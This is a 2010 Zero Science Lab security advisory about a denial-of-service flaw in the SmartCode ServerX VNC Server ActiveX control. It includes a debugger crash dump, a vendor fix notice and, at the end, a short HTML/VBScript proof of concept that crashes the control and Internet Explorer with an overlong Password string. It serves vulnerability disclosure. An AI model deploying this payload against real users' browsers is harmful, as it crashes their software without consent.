SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit

2010-08-13T00:00:00
ID ZSL-2010-4948
Type zeroscience
Reporter Gjoko Krstic
Modified 2010-08-13T00:00:00

Description

Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit
Advisory ID: ZSL-2010-4948
Type: Local/Remote
Impact: DoS
Risk: (2/5)
Release Date: 13.08.2010

Summary

SmartCode ServerX VNC Server control is a VNC server implemented as an ActiveX component, which makes it extremely easy for you to integrate VNC support into your Web or desktop applications. In the simplest scenario, you would add the ServerX ActiveX component to your project, place the ServerX instance in a form, and modify the ActiveX properties if desired. That's it - you just created an application with a VNC Server embedded in it.

Description

The vulnerability exist in the CSC_ServerXControl class with all its members. When parsing overly long string while listening for incoming connection the application crashes along with IE, corrupting the memory.

--------------------------------------------------------------------------------

(26d8.25bc): C++ EH exception - code e06d7363 (first chance) CSC_ServerXControl::FinalRelease eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000 eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 7c90e4f4 c3 ret
--------------------------------------------------------------------------------

Vendor

SmartCode Solutions - <http://www.s-code.com>

Affected Version

1.1.5.0

Tested On

Microsoft Windows XP Professional SP3 (EN)
Windows Internet Explorer 8.0.6001.18702

Vendor Status

[12.11.2010] Vendor releases version 1.1.7.0 to address this issue.

PoC

smart_vncsrv.html

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <http://www.exploit-db.com/exploits/14634>
[2] <http://www.packetstormsecurity.org/filedesc/ZSL-2010-4948.txt.html>
[3] <http://inj3ct0r.com/exploits/13692>
[4] <http://www.securityhome.eu/exploits/exploit.php?eid=12618116714c65ceb082bda8.18460800>
[5] <http://securityreason.com/exploitalert/8703>
[6] <http://securityreason.com/wlb_show/WLB-2010080040>
[7] <http://www.s-code.com/products/serverx/history.aspx>
[8] <http://www.securityfocus.com/bid/42463>

Changelog

[13.08.2010] - Initial release
[14.08.2010] - Added reference [1], [2] and [3]
[16.08.2010] - Added reference [4], [5] and [6]
[12.11.2010] - Added vendor status and added reference [7]
[13.11.2010] - Added reference [8]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            

Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit


Vendor: SmartCode Solutions
Product Web Page: htt://www.s-code.com
Version Tested: 1.1.5.0

Summary: SmartCode ServerX VNC Server control is a VNC server implemented as an
ActiveX component, which makes it extremely easy for you to integrate VNC support
into your Web or desktop applications. In the simplest scenario, you would add the
ServerX ActiveX component to your project, place the ServerX instance in a form,
and modify the ActiveX properties if desired. That's it - you just created an
application with a VNC Server embedded in it.

Desc: The vulnerability exist in the CSC_ServerXControl class with all its members.
When parsing overly long string while listening for incoming connection the application
crashes along with IE, corrupting the memory.

--

(26d8.25bc): C++ EH exception - code e06d7363 (first chance)
CSC_ServerXControl::FinalRelease
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000
eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret

--

Tested On: Microsoft Windows XP Professional SP3 (EN)
           Windows Internet Explorer 8.0.6001.18702

Zero Science Lab Advisory ID: ZSL-2010-4948
Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4948.php


Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

13.08.2010



PoC:

&lt;html&gt;
&lt;object classid='clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1' id='zsl' /&gt;
&lt;script language='vbscript'&gt;

dos=String(18212, "A")

zsl.Password = dos

&lt;/script&gt;
&lt;/html&gt;